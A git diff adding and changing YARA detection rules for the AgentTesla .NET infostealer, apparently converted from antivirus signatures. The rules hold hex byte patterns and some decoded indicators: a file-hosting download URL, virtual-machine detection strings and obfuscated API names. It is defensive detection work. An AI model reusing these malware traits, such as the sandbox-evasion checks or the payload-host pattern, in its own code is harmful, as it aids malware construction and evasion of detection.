b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_BT_MTB.yar new file mode 100644 index 0000000000..649be04bae --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_BT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AgentTesla_BT_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.BT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {01 fe 0e 01 00 20 03 00 00 00 fe 0e 05 00 00 fe 0c 05 00 20 06 00 00 00 fe 01 39 2a 00 00 00 fe 0d 04 00 28 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_BU_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_BU_MTB.yar new file mode 100644 index 0000000000..a1f5ec67a4 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_BU_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AgentTesla_BU_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.BU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {11 18 74 93 00 00 01 11 0b 74 29 00 00 1b 16 11 0b 75 29 00 00 1b 8e 69 6f 49 01 00 0a } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_CE_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_CE_MTB.yar new file mode 100644 index 0000000000..3af147be72 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_CE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AgentTesla_CE_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.CE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {11 02 16 73 10 00 00 0a 13 0e 20 02 00 00 00 38 d2 ff ff ff 11 02 11 0b 16 11 0b 8e 69 6f } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_CI_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_CI_MTB.yar new file mode 100644 index 0000000000..2e4ad59714 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_CI_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AgentTesla_CI_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.CI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {13 04 11 04 7e 89 01 00 04 1f 4b 7e 89 01 00 04 1f 4b 93 7e 89 01 00 04 20 8d 00 00 00 93 61 1f 17 5f 9d } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_EALU_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_EALU_MTB.yar new file mode 100644 index 0000000000..987e62b19f --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_EALU_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AgentTesla_EALU_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.EALU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {26 11 06 1f 33 91 13 05 2b ba 16 0a 16 13 05 2b b3 04 05 61 1f 13 59 06 61 ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? 19 13 05 2b 99 1d 2b f9 11 06 ?? ?? ?? ?? ?? 91 1f 66 59 2b ec 02 0b 1f 09 13 05 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_EGFB_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_EGFB_MTB.yar new file mode 100644 index 0000000000..7ea55235ef --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_EGFB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AgentTesla_EGFB_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.EGFB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {11 0c 1f 0a 58 13 0c 11 09 11 1e 1f 1f 5a 58 13 09 11 0a 11 1e 61 13 0a 11 1e 1f 32 5d 2d 1e } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_EGNH_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_EGNH_MTB.yar new file mode 100644 index 0000000000..f4d3c8ea30 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_EGNH_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AgentTesla_EGNH_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.EGNH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {16 30 01 2a 06 14 ?? ?? ?? ?? ?? 06 06 ?? ?? ?? ?? ?? ?? 73 67 01 00 0a 7d 3d 01 00 04 06 ?? ?? ?? ?? ?? 06 ?? ?? ?? ?? ?? 16 16 ?? ?? ?? ?? ?? ?? ?? ?? 00 0a 2a } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_GVA_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_GVA_MTB.yar new file mode 100644 index 0000000000..ef645fd5f6 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_GVA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_AgentTesla_GVA_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {72 01 00 00 70 d0 07 00 00 02 28 12 00 00 0a 6f 13 00 00 0a 73 14 00 00 0a 80 01 00 00 04 } //2 + $a_01_1 = {28 09 00 00 0a 02 6f 0a 00 00 0a 0a dd 07 00 00 00 26 73 0b 00 00 0a 7a 06 2a } //3 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*3) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_GVB_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_GVB_MTB.yar new file mode 100644 index 0000000000..5b6177500d --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_GVB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AgentTesla_GVB_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.GVB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {1f 61 6a 02 28 43 00 00 06 25 26 0a de 07 07 28 d9 01 00 06 dc 06 2a } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_GVC_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_GVC_MTB.yar new file mode 100644 index 0000000000..0519883ac6 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_GVC_MTB.yar @@ -0,0 +1,21 @@ + +rule Trojan_BAT_AgentTesla_GVC_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.GVC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {0a 19 8d 49 00 00 01 25 16 72 01 00 00 70 a2 25 17 72 13 00 00 70 a2 25 18 72 21 00 00 70 a2 0b } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} +rule Trojan_BAT_AgentTesla_GVC_MTB_2{ + meta: + description = "Trojan:BAT/AgentTesla.GVC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {8a 6d c2 8c c9 48 5b fd a8 9f 1e 51 42 60 3c 28 b2 bc 98 4c e3 59 04 d2 9c 5c 97 b3 c1 f1 b4 7c 97 82 31 27 dc a8 40 34 4f 41 24 34 10 10 88 11 7b 37 39 be d6 7b 1d 29 12 01 93 a8 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_GVD_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_GVD_MTB.yar new file mode 100644 index 0000000000..ce86f1406c --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_GVD_MTB.yar @@ -0,0 +1,23 @@ + +rule Trojan_BAT_AgentTesla_GVD_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.GVD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {02 08 02 08 91 08 03 28 2b 04 00 06 9c 08 17 d6 0c 08 07 31 eb } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} +rule Trojan_BAT_AgentTesla_GVD_MTB_2{ + meta: + description = "Trojan:BAT/AgentTesla.GVD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_00_0 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 66 00 69 00 6c 00 65 00 73 00 2e 00 63 00 61 00 74 00 62 00 6f 00 78 00 2e 00 6d 00 6f 00 65 00 } //3 https://files.catbox.moe + $a_01_1 = {79 64 30 34 39 39 36 38 32 34 38 32 36 34 33 39 34 62 65 66 36 34 64 62 39 31 36 38 30 38 62 66 64 } //1 yd049968248264394bef64db916808bfd + $a_01_2 = {52 75 6e 41 73 44 65 74 61 69 6c 65 64 43 6f 6e 76 65 72 74 65 72 } //1 RunAsDetailedConverter + condition: + ((#a_00_0 & 1)*3+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_GVE_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_GVE_MTB.yar new file mode 100644 index 0000000000..dedba663b3 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_GVE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AgentTesla_GVE_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.GVE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {28 ed 00 00 06 25 26 0b 12 01 28 c9 01 00 06 1f 18 28 26 00 00 06 5d 1f 1c 28 26 00 00 06 fe 01 2b 07 1f 20 28 26 00 00 06 0a 06 2c 08 00 28 05 00 00 06 00 00 2a } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_MBV_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_MBV_MTB.yar index d99cec90ac..4ad193b542 100644 --- a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_MBV_MTB.yar +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_MBV_MTB.yar @@ -1,5 +1,16 @@ rule Trojan_BAT_AgentTesla_MBV_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.MBV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {11 07 11 07 1f 11 5a 11 07 18 62 61 20 ?? 00 00 00 60 9e 11 07 17 58 13 07 } //2 + $a_01_1 = {66 34 33 32 36 63 36 65 62 62 34 34 } //1 f4326c6ebb44 + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} +rule Trojan_BAT_AgentTesla_MBV_MTB_2{ meta: description = "Trojan:BAT/AgentTesla.MBV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_MBW_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_MBW_MTB.yar new file mode 100644 index 0000000000..263581625d --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_MBW_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_MBW_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.MBW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_03_0 = {06 17 58 0a 11 ?? 17 58 13 } //1 + $a_01_1 = {6f 00 61 00 64 00 00 05 74 00 6e 00 00 03 4c } //3 + $a_01_2 = {49 6e 76 6f 6b 65 4d 65 6d 62 65 } //1 InvokeMembe + condition: + ((#a_03_0 & 1)*1+(#a_01_1 & 1)*3+(#a_01_2 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_MBX_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_MBX_MTB.yar new file mode 100644 index 0000000000..626e314433 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_MBX_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_MBX_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.MBX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_01_0 = {0b 20 00 c8 00 00 0c 07 08 } //2 + $a_01_1 = {46 00 59 00 00 07 70 00 70 00 36 } //1 + $a_01_2 = {47 00 65 00 74 00 45 00 78 00 70 00 6f 00 72 00 74 00 65 00 64 00 54 00 79 00 70 00 65 00 73 00 } //1 GetExportedTypes + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_MBY_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_MBY_MTB.yar new file mode 100644 index 0000000000..8c1c79ac34 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_MBY_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_AgentTesla_MBY_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.MBY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {63 72 6d 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 } //2 crm.Properties.Resources.resources + $a_01_1 = {32 33 66 34 32 66 36 63 31 37 35 63 } //2 23f42f6c175c + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_MBZ_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_MBZ_MTB.yar new file mode 100644 index 0000000000..18ad1ec871 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_MBZ_MTB.yar @@ -0,0 +1,23 @@ + +rule Trojan_BAT_AgentTesla_MBZ_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.MBZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {25 06 93 0b 06 18 58 93 07 61 0b 11 0f 20 ?? 00 00 00 93 } //2 + $a_01_1 = {33 66 34 32 66 36 63 31 37 35 63 } //1 3f42f6c175c + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} +rule Trojan_BAT_AgentTesla_MBZ_MTB_2{ + meta: + description = "Trojan:BAT/AgentTesla.MBZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {64 00 6e 00 6e 00 00 09 4c 00 6f 00 61 00 64 } //2 + $a_01_1 = {44 00 65 00 6c 00 69 00 76 00 65 00 72 00 79 00 4d 00 61 00 72 00 6b 00 65 00 74 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_MCB_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_MCB_MTB.yar new file mode 100644 index 0000000000..a3e35b59db --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_MCB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_AgentTesla_MCB_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.MCB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {64 00 00 09 49 00 64 00 6c 00 65 00 00 0f 43 00 68 00 61 00 73 00 69 00 6e 00 67 00 00 13 53 00 65 00 61 00 72 00 63 00 68 00 69 00 6e 00 67 00 00 0d 48 00 69 00 64 00 69 00 6e 00 67 00 00 0d 49 00 6e 00 76 00 6f 00 6b } //3 + $a_01_1 = {4c 00 69 00 7a 00 61 00 72 00 64 00 53 00 6b 00 69 00 6e 00 45 } //1 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_NCC_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_NCC_MTB.yar new file mode 100644 index 0000000000..f6ff4c0e75 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_NCC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AgentTesla_NCC_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.NCC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {11 06 09 11 05 94 58 11 04 11 05 94 58 28 68 00 00 06 28 35 00 00 0a 5d 13 06 09 11 05 94 13 0b 09 11 05 09 11 06 94 9e 09 11 06 11 0b 9e 11 05 17 58 13 05 11 05 28 69 00 00 06 28 35 00 00 0a 32 be } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_NCP_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_NCP_MTB.yar index 8771ac4f60..deee612a41 100644 --- a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_NCP_MTB.yar +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_NCP_MTB.yar @@ -8,4 +8,14 @@ rule Trojan_BAT_AgentTesla_NCP_MTB{ condition: ((#a_03_0 & 1)*4) >=4 +} +rule Trojan_BAT_AgentTesla_NCP_MTB_2{ + meta: + description = "Trojan:BAT/AgentTesla.NCP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {00 02 8e 69 8d 30 00 00 01 0a 16 0b 2b 15 00 06 07 02 07 91 03 07 03 8e 69 5d 91 61 d2 9c 00 07 17 58 0b 07 02 8e 69 fe 04 0c 08 2d e1 06 0d 2b 00 09 2a } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + } \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_NCQ_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_NCQ_MTB.yar index d9575addaf..0781ff8c09 100644 --- a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_NCQ_MTB.yar +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_NCQ_MTB.yar @@ -1,5 +1,15 @@ rule Trojan_BAT_AgentTesla_NCQ_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.NCQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {00 08 07 6f 0a 00 00 0a 00 00 de 0b 08 2c 07 08 ?? ?? ?? ?? ?? 00 dc 07 ?? ?? ?? ?? ?? 0d 2b 00 09 2a } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} +rule Trojan_BAT_AgentTesla_NCQ_MTB_2{ meta: description = "Trojan:BAT/AgentTesla.NCQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 00 " diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_NITB_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_NITB_MTB.yar new file mode 100644 index 0000000000..f1f5a925da --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_NITB_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_BAT_AgentTesla_NITB_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.NITB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 06 00 00 " + + strings : + $a_03_0 = {02 28 c4 00 00 0a 7e 47 00 00 04 7e 49 00 00 04 7e 4a 00 00 04 6f ?? 01 00 0a 28 ?? 00 00 06 13 00 7e 48 00 00 04 11 00 6f ?? 01 00 0a 2a } //2 + $a_03_1 = {7e 48 00 00 04 02 6f ?? 00 00 0a 7e 47 00 00 04 7e 49 00 00 04 7e 4a 00 00 04 6f ?? 01 00 0a 28 ?? 00 00 06 28 ?? 00 00 0a 2a } //2 + $a_00_2 = {56 00 42 00 4f 00 58 00 } //1 VBOX + $a_00_3 = {53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 56 00 4d 00 77 00 61 00 72 00 65 00 } //1 SOFTWARE\VMware + $a_00_4 = {56 00 49 00 52 00 54 00 55 00 41 00 4c 00 42 00 4f 00 58 00 } //1 VIRTUALBOX + $a_00_5 = {56 00 49 00 52 00 54 00 55 00 41 00 4c 00 20 00 4d 00 41 00 43 00 48 00 49 00 4e 00 45 00 } //1 VIRTUAL MACHINE + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*2+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_PGS_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_PGS_MTB.yar new file mode 100644 index 0000000000..72dc554b92 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_PGS_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AgentTesla_PGS_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.PGS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {13 00 20 07 00 00 00 38 ?? ff ff ff 11 02 11 03 11 00 11 03 91 11 04 11 03 11 04 6f ?? 00 00 0a 5d 6f ?? 00 00 0a 61 d2 9c 20 06 00 00 00 7e ?? 00 00 04 7b ?? 00 00 04 39 ?? fe ff ff 26 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_PGT_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_PGT_MTB.yar new file mode 100644 index 0000000000..2c8e11b97b --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_PGT_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_AgentTesla_PGT_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.PGT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_80_0 = {23 23 23 23 23 23 23 23 23 23 23 23 23 23 46 23 23 23 23 69 23 23 23 23 6c 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 6c 23 23 23 23 23 23 23 23 23 23 23 23 53 74 23 23 23 23 23 23 23 23 23 23 23 23 61 72 23 23 23 23 23 23 23 23 23 23 23 23 74 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 } //##############F####i####l################l############St############ar############t############################ 2 + $a_80_1 = {4e 25 25 25 25 25 25 25 25 25 25 25 25 69 76 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 } //N%%%%%%%%%%%%iv%%%%%%%%%%%%%%%%%%%%%%e%%%%%%%%%%%%%%%%%%%%%%%% 3 + condition: + ((#a_80_0 & 1)*2+(#a_80_1 & 1)*3) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_PNED_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_PNED_MTB.yar new file mode 100644 index 0000000000..478ae379ac --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_PNED_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_AgentTesla_PNED_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.PNED!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 00 " + + strings : + $a_03_0 = {09 20 e8 03 00 00 5d 16 fe 01 13 0c 11 0c 2c 27 00 28 ?? 00 00 0a 08 28 ?? 00 00 0a 13 0f 12 0f 28 ?? 00 00 0a 69 13 0d 09 6c 17 11 0d 28 ?? 00 00 0a 6c 5b 13 0e 00 00 07 06 59 } //4 + $a_01_1 = {00 07 11 05 07 11 05 94 02 5a 1f 64 5d 9e 00 11 05 17 58 13 05 11 05 07 8e 69 fe 04 13 06 11 06 2d de } //2 + condition: + ((#a_03_0 & 1)*4+(#a_01_1 & 1)*2) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_PTEL_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_PTEL_MTB.yar deleted file mode 100644 index fafd03a4ea..0000000000 --- a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_PTEL_MTB.yar +++ /dev/null @@ -1,11 +0,0 @@ - -rule Trojan_BAT_AgentTesla_PTEL_MTB{ - meta: - description = "Trojan:BAT/AgentTesla.PTEL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " - - strings : - $a_03_0 = {39 b6 00 00 00 28 ?? 00 00 06 6c 28 ?? 00 00 06 06 28 ?? 00 00 06 28 ?? 00 00 06 } //2 - condition: - ((#a_03_0 & 1)*2) >=2 - -} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAA_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAA_MTB.yar index 7abd11d3ba..d478d6f2bf 100644 --- a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAA_MTB.yar +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAA_MTB.yar @@ -14,4 +14,16 @@ rule Trojan_BAT_AgentTesla_RAA_MTB{ condition: ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_00_6 & 1)*1) >=7 +} +rule Trojan_BAT_AgentTesla_RAA_MTB_2{ + meta: + description = "Trojan:BAT/AgentTesla.RAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 9f a2 3d 09 0f 00 00 00 fa 25 33 00 16 00 00 01 00 00 00 7e 00 00 00 38 00 00 00 cf 00 00 00 20 01 00 00 01 01 00 00 01 00 00 00 3a 01 00 00 1c 00 00 00 5a 00 00 00 02 00 00 00 5f 00 00 00 12 00 00 00 38 00 00 00 46 00 00 00 02 00 00 00 29 00 00 00 05 00 00 00 01 00 00 00 01 00 00 00 07 00 00 00 02 00 00 00 1a 00 00 00 17 00 00 00 09 } //1 + $a_81_1 = {63 62 32 30 62 32 36 30 2d 62 66 66 37 2d 34 65 32 66 2d 62 66 34 39 2d 36 35 61 35 31 36 36 37 63 33 66 37 } //1 cb20b260-bff7-4e2f-bf49-65a51667c3f7 + $a_81_2 = {47 61 72 61 67 65 4d 61 6e 61 67 65 72 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 } //1 GarageManager.Properties.Resources.resources 